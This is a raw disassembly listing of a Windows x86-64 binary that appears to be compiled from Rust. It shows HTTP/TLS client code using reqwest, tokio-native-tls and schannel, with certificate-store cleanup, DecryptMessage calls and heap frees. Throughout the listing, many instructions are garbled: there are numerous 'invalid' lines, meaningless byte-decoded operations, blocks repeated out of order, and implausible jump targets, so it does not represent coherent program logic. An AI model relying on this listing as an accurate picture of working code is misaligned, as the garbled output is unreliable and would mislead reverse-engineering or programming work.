lea r14, [rsi + 0x790]
mov byte [rsi + 0x789], 1
mov qword [rsi + 0x558], rax
mov qword [rsi + 0x560], rdi
mov esi, 0x560
mov esi, 0x560
mov qword [rsi + 0x568], r12
lea r12, [rsi + 0x570]
lea rdx, [rsp + 0x1040]
mov r8d, 0x128
mov rcx, r12
call fcn.140106250
mov qword [rsi + 0x698], 0
lea r13, [rsi + 0x6a0]
lea rdx, [rsp + 0x1970]
lea edx, [rsp + 0x1970]
mov r8d, 0xe8
mov rcx, r13
call fcn.140106250
mov rax, qword [rsi + 0x790]
cmp rax, 3
je 0x1400ac97a
cmp eax, 2
jne 0x1400aca5d
mov rcx, qword [rsp + 0xd0]
call fcn.1400ad940
add byte [rax], al
add al, ch
invalid
mov rax, qword [rsi + 0x558]
test rax, rax
test eax, eax
je 0x1400aca75
lea rdx, [rsi + 0x560]
cmp eax, 1
jne 0x1400acad8
mov r8d, 0x228
mov rcx, r14
call fcn.140106250
mov r13, qword [rsp + 0x28]
mov r12, qword [rsp + 0x30]
mov rdi, qword [rsi + 0x790]
mov qword [rsi + 0x790], 2
cmp rdi, 2
je 0x1400ad0b3
mov rcx, r14
call fcn.1400addd0
mov rax, qword [rsi + 0x558]
test rax, rax
jne 0x1400ac98a
mov rbp, qword [rsi + 0x560]
mov rdi, qword [rsi + 0x568]
lea rcx, [rsp + 0x1708]
mov r8d, 0x128
mov rdx, r12
call fcn.140106250
mov rbx, qword [rsi + 0x698]
lea rcx, [rsp + 0x1a58]
mov r8d, 0xe8
mov rdx, r13
call fcn.140106250
mov word [rsi + 0x788], 1
cmp rbp, 3
mov r13, qword [rsp + 0x28]
mov r12, qword [rsp + 0x30]
jne 0x1400acbb6
jmp 0x1400acf1e
mov r13, qword [rsp + 0x28]
mov r12, qword [rsp + 0x30]
mov rdi, qword [rdx]
mov ebp, 2
jmp 0x1400acbab
invalid
lea rcx, [rsp + 0x1e48]
lea rdx, [rsp + 0x1708]
mov r8d, 0x128
add al, ch
jg 0x1400acb65
add eax, 0x8c8d4800
and al, 0x40
sbb eax, dword [rax]
add byte [rax - 0x73], cl
xchg esp, eax
and al, 0x58
sbb al, byte [rax]
add byte [rax], al
add al, ch
jg 0x1400acb65
add eax, 0x8c8d4800
and al, 0x40
sbb eax, dword [rax]
add byte [rax - 0x73], cl
xchg esp, eax
and al, 0x58
sbb al, byte [rax]
add byte [rax], al
mov r8d, 0xe8
call fcn.140106250
mov byte [r12], 1
add byte [rax], al
mov r8d, 0xe8
call fcn.140106250
mov byte [r12], 1
mov rcx, qword [rsp + 0xb0]
call fcn.1400ad600
mov word [rax + rsi*4], fs
add byte [rax], al
add al, ch
add cl, byte [rdx]
add byte [rax], al
cmp rbp, 2
jne 0x1400acc3f
movzx eax, byte [0x140182310]
mov edx, 8
xor ecx, ecx
call fcn.1400dfbe0
test rax, rax
je 0x1400ad088
mov r15, rax
mov qword [rax], rdi
lea r12, [0x14013d028]
mov dil, 2
cmp qword [rsi + 0x9c0], 0
jne case.0x140068ed1.306
jmp 0x1400accc0
movzx eax, byte [0x140182310]
mov edx, 0x228
xor ecx, ecx
call fcn.1400dfbe0
test rax, rax
test eax, eax
test eax, eax
je 0x1400ad0cb
mov r15, rax
mov qword [rax], rbp
mov qword [rax + 8], rdi
lea rcx, [rax + 0x10]
lea rdx, [rsp + 0x1e48]
xchg esp, eax
and al, 0x48
invalid
add byte [rax], al
mov r8d, 0x128
call fcn.140106250
mov qword [r15 + 0x138], rbx
mov rcx, r15
add rcx, 0x140
lea rdx, [rsp + 0x1b40]
mov r8d, 0xe8
add al, ch
mov al, 0x95
add eax, 0x258d4c00
xor dword [rdi + 9], esp
add byte [rcx], dh
dec dword [rax - 0x7d]
mov esi, 0x9c0
invalid
je 0x1400accc0
xchg esp, eax
and al, 0x48
invalid
add al, ch
mov al, 0x95
add eax, 0x258d4c00
xor dword [rdi + 9], esp
add byte [rcx], dh
dec dword [rax - 0x7d]
mov esi, 0x9c0
add byte [rax], al
add byte [rbp + rcx + 0x48], dh
mov ecx, dword [rsi + 0x9c8]
mov rcx, qword [rsi + 0x9c8]
call qword [sym.imp.crypt32.dll_CertFreeCertificateContext]
add byte [rax - 0x75], cl
mov rcx, qword [rsi + 0x9d0]
xor edx, edx
call qword [sym.imp.crypt32.dll_CertCloseStore]
mov ss, eax
or dword [rax], eax
add byte [rcx], dh
sar bh, cl
adc eax, 0x654e1
cmp byte [rsi + 0x2d3], 0
je 0x1400accfe
add byte [rax], al
add byte [rsi + riz - 0x7d], dh
mov esp, 0xcc824
add byte [rdx], al
cmp dword [rsp + 0xcc8], 2
jne 0x1400accf1
lea rcx, [rsp + 0xcd0]
call fcn.1400ad940
jmp 0x1400accfe
lea rcx, [rsp + 0xcc8]
call fcn.1400addd0
mov byte [rsi + 0x2d3], 0
add byte [rax], al
mov rax, qword [rsi + 0x2b0]
lock dec qword [rax]
jne 0x1400ace5e
mov rcx, qword [rsi + 0x2b0]
call fcn.14004f050
mov rax, qword [rsi + 0x2b8]
lock dec qword [rax]
je 0x1400ace6f
cmp qword [rsi + 0x290], 0
je 0x1400acd4a
add byte [rbp + rcx + 0x48], dh
mov ecx, dword [rsi + 0x298]
mov rcx, qword [rsi + 0x298]
call qword [sym.imp.crypt32.dll_CertFreeCertificateContext]
mov rcx, qword [rsi + 0x2a0]
mov ecx, dword [rsi + 0x2a0]
xor edx, edx
call qword [sym.imp.crypt32.dll_CertCloseStore]
cmp byte [rsi + 0x2d4], 0
je 0x1400acd8a
cmp byte [rsi + 0x270], 2
je 0x1400acd8a
lea rcx, [rsi + 0x268]
mov rax, qword [rsi + 0x250]
mov rdx, qword [rsi + 0x258]
mov r8, qword [rsi + 0x260]
xchg byte [rax + 2], ah
add byte [rax], al
xchg byte [rax + 2], ah
add byte [rax], al
call qword [rax + 0x10]
mov byte [rsi + 0x2d4], 0
cmp byte [rsi + 0x1a8], 2
test al, 1
add byte [rax], al
add dh, byte [rdx + 0x2b]
test al, 1
add byte [rax], al
add dh, byte [rdx + 0x2b]
mov rbx, qword [rsi + 0x1b0]
lea rcx, [rbx + 0x18]
mov rax, qword [rbx]
mov rdx, qword [rbx + 8]
or byte [rbx + rcx*4 + 0x43], cl
adc bh, bh
push rax
adc byte [rax - 0x75], cl
or eax, 0xd54a6
or byte [rbx + rcx*4 + 0x43], cl
adc bh, bh
push rax
adc byte [rax - 0x75], cl
or eax, 0xd54a6
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
lea rcx, [rsi + 0x1d0]
mov rax, qword [rsi + 0x1b8]
add byte [rax - 0x75], cl
xchg esi, eax
rol byte [rcx], 0
add byte [rbx + rcx*4 - 0x7a], cl
enter 1, 0
add byte [rax - 0x75], cl
xchg esi, eax
rol byte [rcx], 0
add byte [rbx + rcx*4 - 0x7a], cl
enter 1, 0
call qword [rax + 0x10]
lea rcx, [rsi + 0x1f0]
mov rax, qword [rsi + 0x1d8]
add byte [rax], al
adc byte [rax - 0x73], cl
invalid
add byte [rax], al
mov rdx, qword [rsi + 0x1e0]
mov r8, qword [rsi + 0x1e8]
call qword [rax + 0x10]
lea rcx, [rsi + 0x128]
lea ecx, [rsi + 0x128]
add byte [rbx + rcx*4 - 0x7a], cl
call 0x13f0ace02
push rax
adc byte [rax - 0x73], cl
lea ecx, [rsi + 0x128]
invalid
push rcx
lea ecx, [rsi + 0x128]
call fcn.140066460
xor ebp, ebp
xchg esi, eax
sti
push qword [rcx]
in eax, dx
mov byte [rsi + 0x2d5], 0
mov qword [r13], r15
mov qword [r13 + 8], r12
mov byte [r13 + 0x10], bpl
mov byte [r13 + 0x11], dil
insd dword [rdi], dx
adc byte [rcx - 0x78], al
jge 0x1400ace39
mov eax, dword [rsp + 0x38]
mov dword [r13 + 0x12], eax
movzx eax, word [rsp + 0x3c]
and al, 0x3c
mov word [r13 + 0x16], ax
mov al, 1
invalid
mov byte [rsi + 0x2d2], al
movaps xmm6, xmmword [rsp + 0x1f70]
add rsp, 0x1f88
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov rax, qword [rsi + 0x2b8]
lock dec qword [rax]
dec qword [rax]
dec qword [rax]
jne case.0x14005cd83.333
mov rcx, qword [rsi + 0x2b8]
mov rdx, qword [rsi + 0x2c0]
mov edx, dword [rsi + 0x2c0]
mov edx, dword [rsi + 0x2c0]
xchg esi, eax
rol byte [rdx], 0
add al, byte [rax]
add al, byte [rax]
add al, ch
invalid
call fcn.140005050
cmp qword [rsi + 0x290], 0
nop
add al, byte [rax]
add byte [rax], al
cmc
dec dword [rax - 0x7d]
mov esi, 0x290
nop
add al, byte [rax]
add byte [rax], al
invalid
nop
add al, byte [rax]
add byte [rax], al
jne 0x1400acd3d
test dword [rbp - 0x16000002], ebp
mov ch, 0xfe
invalid
jmp 0x1400acd4a
and al, 0x68
invalid
push 0x48000007
lea ebx, [rsp + 0x260]
mov r8d, 0x218
mov rcx, rbx
fld1
popfq
xchg ebx, eax
add eax, 0xbc8d4c00
and al, 0xb0
or al, byte [rax]
invalid
fld1
popfq
xchg ebx, eax
add eax, 0xbc8d4c00
and al, 0xb0
or al, byte [rax]
add byte [rcx - 0x48], al
mov r8d, 0x218
mov r8d, 0x218
mov rcx, r15
mov rdx, rbx
call fcn.140106250
lea rbx, [rsp + 0xbe0]
mov qword [rsi + 0x790], rbp
invalid
add byte [rax], al
mov qword [rsi + 0x798], rdi
add byte [rax], al
invalid
add byte [rax], al
lea rcx, [rsi + 0x7a0]
mov r8d, 0x128
mov rdx, r15
call fcn.140106250
mov qword [rsi + 0x8c8], 0
mov r8d, 0xe8
mov rcx, r14
mov rdx, rbx
invalid
call fcn.140106250
cmp eax, 0x48000593
mov eax, dword [rsp + 0xa8]
invalid
cmp eax, 0x48000593
mov eax, dword [rsp + 0xa8]
mov byte [rax], 4
mov byte [r12], 3
mov byte [r13 + 0x11], 3
adc dword [r11], r8d
adc dword [r11], r8d
mov al, 5
jmp 0x1400ace3c
lea r14, [rsp + 0x750]
lea esi, [rsp + 0x750]
lea rdx, [rsp + 0x260]
mov r8d, 0x218
mov rcx, r14
call fcn.140106250
lea rcx, [rsp + 0x1040]
mov word [rax + rax*2], fs
adc byte [rax], al
add byte [rcx - 0x48], al
sub byte [rcx], al
add byte [rax], al
mov rdx, r14
call fcn.140106250
lea rdx, [rsp + 0x880]
lea rcx, [rsp + 0x1970]
mov word [rax + rsi*2], fs
sbb dword [rax], eax
invalid
in eax, dx
xchg edx, eax
add eax, 0x948d4800
and al, 0x80
or byte [rax], al
add byte [rax - 0x73], cl
lea ecx, [rsp + 0x1970]
mov word [rax + rsi*2], fs
sbb dword [rax], eax
add byte [rcx - 0x48], al
call 0x1280acf7a
mov r8d, 0xe8
call fcn.140106250
xor eax, eax
add al, ch
rcl byte [rdx - 0x3fcefffb], cl
mov rbx, qword [rsp + 0xa0]
jmp 0x1400ac8ef
stc
invalid
invalid
stc
invalid
lea r14, [rsp + 0x750]
lea rdx, [rsp + 0x260]
add byte [rax], al
add byte [rax], al
mov r8d, 0x218
mov rcx, r14
call fcn.140106250
lea rcx, [rsp + 0x1040]
mov r8d, 0x128
mov rdx, r14
call fcn.140106250
lea rdx, [rsp + 0x880]
and al, 0x80
or byte [rax], al
add byte [rax - 0x73], cl
mov word [rax + rsi*2], fs
sbb dword [rax], eax
add byte [rcx - 0x48], al
call 0x1280acfd8
je 0x1400acf6c
add eax, 0x1b800
add byte [rax], al
invalid
add eax, 0x948d4800
and al, 0x80
or byte [rax], al
add byte [rax - 0x73], cl
mov word [rax + rsi*2], fs
sbb dword [rax], eax
add byte [rcx - 0x48], al
call 0x1280acfd8
je 0x1400acf6c
add eax, 0x1b800
add byte [rax], al
add byte [rax], al
add cl, ch
or ecx, edi
invalid
jmp 0x1400ac8ef
movzx eax, byte [0x140182310]
mov edx, 0x1d
add byte [rax], al
add byte [rcx], dh
leave
add byte [rax], al
add byte [rcx], dh
leave
call fcn.1400dfbe0
test rax, rax
je 0x1400ad137
invalid
add dword [rax], eax
invalid
xor eax, 0x49000001
mov esp, eax
mov r12, rax
movups xmm0, xmmword [0x1401431d0]
movups xmmword [rax + 0xd], xmm0
invalid
adc dword [rax + 0xd], eax
or eax, 0xac05100f
invalid
movups xmm0, xmmword [0x1401431c3]
movups xmmword [rax], xmm0
movzx eax, byte [0x140182310]
push rdx
or eax, 0x18ba00
add byte [rax], al
xor ecx, ecx
call fcn.1400dfbe0
test rax, rax
invalid
test eax, eax
je 0x1400ad0a4
mov r15, rax
mov qword [rax], 0x1d
mov qword [rax + 8], r12
mov qword [rax + 0x10], 0x1d
jmp 0x1400abbe1
or byte [rax - 0x39], cl
adc byte [0x1290ad049], bl
xchg esp, eax
jmp 0x1400ad04b
invalid
lea r8, [0x14013c840]
mov rcx, r15
test dword [rax], 0xf9894c00
call fcn.140108340
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_reqwest_0.11.27_srcconnect.rs
mov edx, 0x2000
and byte [rax], al
invalid
and byte [rax], al
add byte [rcx + rcx*4 - 7], cl
stc
mov rcx, r15
call fcn.140108340
lea rcx, str.future_polled_after_completionC:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_native_tls_0.3.1_srclib.rs
lea r8, [0x14013c6a8]
test byte [rax], 0
mov edx, 0x1e
call fcn.1401086b0
mov ecx, 8
mov edx, 8
or byte [rax], al
add byte [rax], al
or byte [rax], al
add byte [rax], al
call fcn.140107fe0
mov ecx, 1
mov rdx, r12
call fcn.140107fc0
mov ecx, 8
add byte [rax], al
mov edx, 0x18
call fcn.140107fe0
lea rcx, str.future_polled_after_completionC:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_native_tls_0.3.1_srclib.rs
lea r8, [0x140141d00]
or qword [rax], r8
or qword [rax], r8
mov edx, 0x1e
call fcn.1401086b0
mov ecx, 8
mov edx, 0x228
add byte [rdx + 0x228], bh
call fcn.140107fe0
mov ecx, 8
mov edx, 0x10
adc byte [rax], al
add byte [rax], al
invalid
adc byte [rax], al
add byte [rax], al
invalid
call fcn.140107fe0
add byte [rcx + 1], bh
mov ecx, 1
mov edx, 0xe
call fcn.140107fc0
call fcn.140010b00
mov ecx, 1
mov edx, 0x13
adc eax, dword [rax]
add byte [rax], al
adc eax, dword [rax]
add byte [rax], al
call fcn.140107fc0
mov ecx, 1
mov edx, 0x1e
add byte [rax], al
add al, ch
movsd dword [rdi], dword [rsi]
scasb al, byte [rdi]
invalid
invalid
add byte [rax], al
add al, ch
movsd dword [rdi], dword [rsi]
scasb al, byte [rdi]
add eax, 0x1b900
add byte [rax], al
mov ecx, 1
mov edx, 0x21
call fcn.140107fc0
mov ecx, 1
mov rdx, r13
call fcn.140107fc0
scasb al, byte [rdi]
invalid
invalid
scasb al, byte [rdi]
add eax, 0x1b900
add byte [rax], al
mov ecx, 1
mov edx, 0x1d
call fcn.140107fc0
int3
sub rsp, 0x20
sub esp, 0x20
movzx eax, byte [rcx + 0x2d2]
add byte [rax], al
cmp rax, 6
ja case.0x1400ad179.1
invalid
add byte [rax - 0x77], cl
invalid
mov rsi, rcx
lea rcx, [0x140177ed4]
movsxd rax, dword [rcx + rax*4]
add al, 0x81
invalid
or dword [rax + 1], 0x48e0ffc8
mov ecx, esi
add rax, rcx
jmp rax
mov rcx, rsi
call fcn.140066460
cmp byte [rsi + 0xd0], 2
add byte [rax], al
add dh, byte [rdx + 0x2b]
mov esi, 0xd0
add byte [rax], al
add dh, byte [rdx + 0x2b]
mov rdi, qword [rsi + 0xd8]
lea rcx, [rdi + 0x18]
mov rax, qword [rdi]
mov rdx, qword [rdi + 8]
mov r8, qword [rdi + 0x10]
call qword [rax + 0x10]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rdi
clc
call qword [sym.imp.kernel32.dll_HeapFree]
lea rcx, [rsi + 0xf8]
mov rax, qword [rsi + 0xe0]
mov rdx, qword [rsi + 0xe8]
call 0x18c0ad1cd
mov eax, dword [rsi + 0xf0]
invalid
add byte [rax], al
add byte [rax - 0x75], cl
xchg esi, eax
call 0x18c0ad1cd
mov eax, dword [rsi + 0xf0]
invalid
add byte [rax], al
add byte [rbx + rcx*4 - 0x7a], cl
lock add byte [rax], al
add bh, bh
push rax
adc byte [rax - 0x73], cl
mov ds, word [rax]
add dword [rax], eax
add byte [rax - 0x75], cl
xchg byte [rax], al
add dword [rax], eax
invalid
call qword [rax + 0x10]
lea rcx, [rsi + 0x118]
mov rax, qword [rsi + 0x100]
add byte [rax], al
add byte [rax], al
add byte [rax - 0x75], cl
xchg esi, eax
or byte [rcx], al
mov rdx, qword [rsi + 0x108]
add byte [rax], al
mov r8, qword [rsi + 0x110]
mov eax, dword [rsi + 0x110]
call qword [rax + 0x10]
cmp byte [rsi + 0xc8], 2
push rax
adc byte [rax + 0xc8be], al
add byte [rdx], al
je 0x1400ad21d
lea rcx, [rsi + 0xc0]
mov rax, qword [rsi + 0xa8]
add byte [rax], al
add byte [rax - 0x75], cl
mov rdx, qword [rsi + 0xb0]
mov r8, qword [rsi + 0xb8]
mov eax, dword [rsi + 0xb8]
mov eax, dword [rsi + 0xb8]
add bh, bh
push rax
call qword [rax + 0x10]
adc byte [rax - 0x75], cl
xchg byte [rax + 0x48000000], cl
add byte [rax], al
mov rdx, qword [rsi + 0x90]
mov rax, qword [rsi + 0x88]
add byte [rax], al
mov rdx, qword [rsi + 0x90]
mov rax, qword [rax + 0x10]
mov r8, qword [rsi + 0x98]
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x7f], cl
invalid
invalid
invalid
add rsi, 0xa0
mov rcx, rsi
add rsp, 0x20
pop rbx
pop rdi
pop rsi
jmp rax
lea rcx, [rsi + 0x2d8]
call fcn.1400ad460
add cl, ch
jg 0x1400ad25a
add byte [rax], al
mov rdi, qword [rsi + 0x2d8]
mov rbx, qword [rsi + 0x2e0]
mov rcx, rdi
call qword [rbx]
cmp qword [rbx + 8], 0
je 0x1400ad292
cmp qword [rbx + 0x10], 0x11
jb 0x1400ad280
adc dword [rdx + 4], esi
mov rdi, qword [rdi - 8]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rsi + 0x2b0]
lock dec qword [rax]
je 0x1400ad3f2
mov rax, qword [rsi + 0x2b8]
lock dec qword [rax]
add al, dh
dec qword [rax]
je 0x1400ad40f
cmp qword [rsi + 0x290], 0
je 0x1400ad2cb
mov rcx, qword [rsi + 0x298]
call qword [sym.imp.crypt32.dll_CertFreeCertificateContext]
mov rcx, qword [rsi + 0x2a0]
mov ecx, dword [rsi + 0x2a0]
xor edx, edx
call qword [sym.imp.crypt32.dll_CertCloseStore]
cmp byte [rsi + 0x2d4], 0
je 0x1400ad30b
cmp byte [rsi + 0x270], 2
je 0x1400ad30b
lea rcx, [rsi + 0x268]
mov rax, qword [rsi + 0x250]
mov rdx, qword [rsi + 0x258]
mov r8, qword [rsi + 0x260]
call qword [rax + 0x10]
mov byte [rsi + 0x2d4], 0
cmp byte [rsi + 0x1a8], 2
add dh, byte [rdx + 0x2b]
add dh, byte [rdx + 0x2b]
mov rdi, qword [rsi + 0x1b0]
add byte [rax], al
lea rcx, [rdi + 0x18]
mov rax, qword [rdi]
invalid
mov rdx, qword [rdi + 8]
mov r8, qword [rdi + 0x10]
adc bh, bh
push rax
adc byte [rax - 0x75], cl
or eax, 0xd4f25
invalid
invalid
invalid
invalid
adc bh, bh
push rax
adc byte [rax - 0x75], cl
or eax, 0xd4f25
invalid
invalid
invalid
or rax, 0x49d23100
mov eax, edi
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
lea rcx, [rsi + 0x1d0]
mov rax, qword [rsi + 0x1b8]
mov eax, 0x48000001
mov edx, dword [rsi + 0x1c0]
mov r8, qword [rsi + 0x1c8]
add bh, bh
push rax
adc byte [rax - 0x73], cl
invalid
lock add dword [rax], eax
add byte [rax - 0x75], cl
xchg al, bl
add dword [rax], eax
add byte [rax - 0x75], cl
xchg esi, eax
loopne 0x1400ad379
add byte [rax], al
add bh, bh
push rax
adc byte [rax - 0x73], cl
invalid
add byte [rax], al
mov r8, qword [rsi + 0x1e8]
call qword [rax + 0x10]
cmp byte [rsi + 0x2d5], 0
add bh, bh
push rax
adc byte [rax + 0x2d5be], al
add byte [rax], al
je 0x1400ad399
or al, 0x48
lea ecx, [rsi + 0x128]
lea rcx, [rsi + 0x128]
call fcn.140066460
mov byte [rsi + 0x2d5], 0
add rsp, 0x20
pop rbx
pop rdi
pop rsi
ret
lea rcx, [rsi + 0x2d8]
add byte [rax], al
call fcn.1400ad600
cmp qword [rsi + 0x9c0], 0
je 0x1400ad3cb
invalid
or eax, 0xc88e8b48
or dword [rax], eax
add bh, bh
adc eax, 0x64dc5
mov rcx, qword [rsi + 0x9c8]
call qword [sym.imp.crypt32.dll_CertFreeCertificateContext]
mov rcx, qword [rsi + 0x9d0]
xor edx, edx
call qword [sym.imp.crypt32.dll_CertCloseStore]
mov ss, eax
or dword [rax], eax
add byte [rcx], dh
sar bh, cl
adc eax, 0x64dd6
mov byte [rsi + 0x2d3], 0
mov rax, qword [rsi + 0x2b0]
lock dec qword [rax]
jne 0x1400ad2a3
mov rcx, qword [rsi + 0x2b0]
call fcn.14004f050
mov rax, qword [rsi + 0x2b8]
lock dec qword [rax]
jne 0x1400ad2b4
invalid
invalid
invalid
mov rcx, qword [rsi + 0x2b8]
mov rdx, qword [rsi + 0x2c0]
call fcn.140005050
dec dword [rax - 0x7d]
mov esi, 0x290
add byte [rdi], cl
invalid
invalid
invalid
invalid
invalid
dec dword [rax - 0x7d]
mov esi, 0x290
add byte [rdi], cl
test dword [rsi - 0x16000002], ecx
xchg esi, eax
invalid
jmp 0x1400ad2cb
lea rcx, [rsi + 0x2d8]
call 0x1400ad6e0
cmp byte [rsi + 0x270], 2
jne 0x1400ad2ec
jmp 0x1400ad30b
push rsi
push rdi
push rbx
sub rsp, 0x20
mov rsi, rcx
movzx eax, byte [rcx + 0x251]
test eax, eax
je 0x1400ad7ef
pop r12
pop r13
pop r14
pop r15
ret
stc
mov rdx, rbp
call fcn.1401082c0
lea rcx, str.assertion_failed:__self.context.is_null__
lea r8, [0x14013d6c0]
mov edx, 0x29
call fcn.140108350
lea r8, [0x14013c840]
call fcn.140108340
adc dword [rax + 5], esi
add ah, cl
adc dword [rax + 5], esi
add ah, cl
add byte [rax + 0x39], cl
ror dword [rdi], 1
xchg dword [rsi + 0x48000002], eax
mov eax, dword [rdi + 0x168]
mov dword [rsp + 0x20], ecx
mov dword [rsp + 0x24], 1
mov qword [rsp + 0x28], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
movups xmmword [rsp + 0x40], xmm0
movups xmmword [rsp + 0x50], xmm0
movabs rax, 0x400000000
mov qword [rsp + 0x60], rax
lea rax, [rsp + 0x20]
mov qword [rsp + 0x68], rax
lea rcx, [rdi + 0x1f0]
lea rdx, [rsp + 0x60]
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.secur32.dll_DecryptMessage]
cmp eax, 0x90316
jg 0x1400b14a4
cmp eax, 0x80090318
je 0x1400b152a
test eax, eax
jne 0x1400b1517
mov rcx, qword [rsp + 0x38]
mov rdx, qword [rdi + 0x168]
mov rax, qword [rdi + 0x170]
sub rcx, rdx
mov ebx, dword [rsp + 0x30]
mov r9, rcx
mov qword [rdi + 0x150], 0
add r9, rbx
jb 0x1400b1614
cmp r9, rax
ja 0x1400b1623
add rdx, rcx
xor r14d, r14d
cmp qword [rdi + 0x140], rbx
jb 0x1400b15bb
xor r15d, r15d
mov rcx, qword [rdi + 0x148]
add rcx, r15
mov r8, rbx
call fcn.140106250
add r15, rbx
cmp dword [rsp + 0x54], 5
mov qword [rdi + 0x150], r15
cmove r14d, dword [rsp + 0x50]
mov qword [rdi + 0x158], 0
mov rcx, qword [rdi + 0x178]
mov rdx, rcx
sub rdx, r14
jb 0x1400b15ea
test r14d, r14d
je 0x1400b1591
mov rax, qword [rdi + 0x170]
mov rbx, rax
sub rbx, rdx
jb 0x1400b1602
mov qword [rdi + 0x170], 0
cmp rcx, r14
jne 0x1400b1573
test rax, rax
jne 0x1400b158a
jmp 0x1400b1591
cmp eax, 0x90317
je 0x1400b153b
cmp eax, 0x90321
jne 0x1400b1517
xor r14d, r14d
cmp dword [rsp + 0x54], 5
mov dword [rdi + 0x1d0], 0x10000
cmove r14d, dword [rsp + 0x50]
mov byte [rdi + 0x1d4], 0
mov rcx, qword [rdi + 0x178]
mov rdx, rcx
sub rdx, r14
jb 0x1400b15ea
test r14d, r14d
je 0x1400b155f
mov rax, qword [rdi + 0x170]
mov rbx, rax
sub rbx, rdx
jb 0x1400b1602
mov qword [rdi + 0x170], 0
cmp rcx, r14
jne 0x1400b1541
test rax, rax
jne 0x1400b1558
jmp 0x1400b155f
shl rax, 0x20
or rax, 2
mov qword [rsi + 8], rax
mov al, 1
jmp 0x1400b15ad
add byte [rax], al
add byte [rax], al
cmp dword [rsp + 0x34], 4
mov eax, 1
cmove eax, dword [rsp + 0x30]
jmp 0x1400b15a0
mov byte [rsi + 1], 1
jmp 0x1400b15ab
cmp rax, rdx
je 0x1400b155f
mov rcx, qword [rdi + 0x168]
add rdx, rcx
mov r8, rbx
call fcn.140106250
mov qword [rdi + 0x170], rbx
mov qword [rdi + 0x178], r14
mov qword [rdi + 0x210], 0
jmp 0x1400b15a7
cmp rax, rdx
je 0x1400b1591
mov rcx, qword [rdi + 0x168]
add rdx, rcx
mov r8, rbx
call fcn.140106250
mov qword [rdi + 0x170], rbx
xor eax, eax
test r14d, r14d
sete al
mov qword [rdi + 0x178], r14
mov qword [rdi + 0x210], rax
mov byte [rsi + 1], 0
xor eax, eax
mov byte [rsi], al
add rsp, 0x70
pop rbx
pop rdi
pop rsi
pop r14
pop r15
ret
lea rcx, [rdi + 0x140]
mov r15, rdx
xor edx, edx
ror byte [rcx - 0x77], cl
fsubr st(0)
add dword [0x13a9461d6], 0x50bf8b4c
add dword [rax], eax
add cl, ch
invalid
invalid
invalid
invalid
ror byte [rcx - 0x77], cl
fsubr st(0)
add dword [0x13a9461d6], 0x50bf8b4c
add dword [rax], eax
add cl, ch
invalid
lea rcx, [0x140141dcf]
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_schannel_0.1.23_src_tls_stream.rsStartSizeSizeLwsExtensionSizeLfBodyCrBodyLfTrailerTrailerLfEndCrEndLfEndC:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_buf_take.rsassertion_failed:_cnt___self.limit
mov edx, 0x1f
call fcn.140108350
lea r8, str._rustc_c987ad527540e8f1565f57c31204bde33f63df76library_alloc_src_vecmod.rs
mov rcx, rdx
mov rdx, rax
call fcn.140108340
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_schannel_0.1.23_src_tls_stream.rsStartSizeSizeLwsExtensionSizeLfBodyCrBodyLfTrailerTrailerLfEndCrEndLfEndC:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_buf_take.rsassertion_failed:_cnt___self.limit
mov rdx, r9
call fcn.140108530
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_schannel_0.1.23_src_tls_stream.rsStartSizeSizeLwsExtensionSizeLfBodyCrBodyLfTrailerTrailerLfEndCrEndLfEndC:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_buf_take.rsassertion_failed:_cnt___self.limit
mov rcx, r9
mov rdx, rax
call fcn.140108340
int3
cmp dword [rdi + 8], 0
je 0x1400b175b
cmp qword [rdi + 0x10], 0x11
jb 0x1400b1749
mov rbx, qword [rbx - 8]
mov rcx, qword [0x140182260]
mov ecx, dword [0x140182260]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, qword [0x140182260]
xor edi, edi
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
mov eax, 1
add bl, ch
invalid
add bl, ch
cmovs eax, edi
xchg byte [rax], bh
add dword [rax], eax
add byte [rax], al
add byte [rax], al
add byte [rcx], dh
push qword [rcx]
ror byte [rax - 0x77], 0xfa
mov rdx, rdi
add rsp, 0x50
pop rbx
pop rdi
pop rsi
ret
int3
mov rdx, qword [rsi + 0x150]
mov rcx, qword [rsi + 0x158]
cmp rcx, rdx
ja 0x1400b1aa6
jne 0x1400b198a
mov rcx, r13
mov rdx, rsi
call fcn.1400afe70
mov eax, dword [rsp + 0x28]
cmp eax, 2
je 0x1400b19fd
cmp eax, 1
jne 0x1400b198a
cmp qword [rsi + 0x210], 0
je 0x1400b1971
mov rcx, rsi
call fcn.1400b1110
test rax, rax
jne 0x1400b1a85
test rdx, rdx
je 0x1400b198a
mov qword [rsi + 0x210], 0
add byte [rcx + rcx*4 - 0x17], cl
mov rcx, r13
mov rdx, rsi
call fcn.1400b1330
cmp byte [rsp + 0x28], 0
jne 0x1400b19fd
cmp byte [rsp + 0x29], 0
je 0x1400b1910
mov rcx, r12
mov r12, qword [rsi + 0x150]
mov r13, qword [rsi + 0x158]
mov rbp, r12
sub rbp, r13
jb 0x1400b1ac4
mov rdx, qword [rsi + 0x148]
add rdx, r13
cmp r15, rbp
cmovb rbp, r15
mov r8, rbp
call fcn.140106250
add r13, rbp
cmp r13, r12
ja 0x1400b1ad6
mov qword [rsi + 0x158], r13
add rbx, rbp
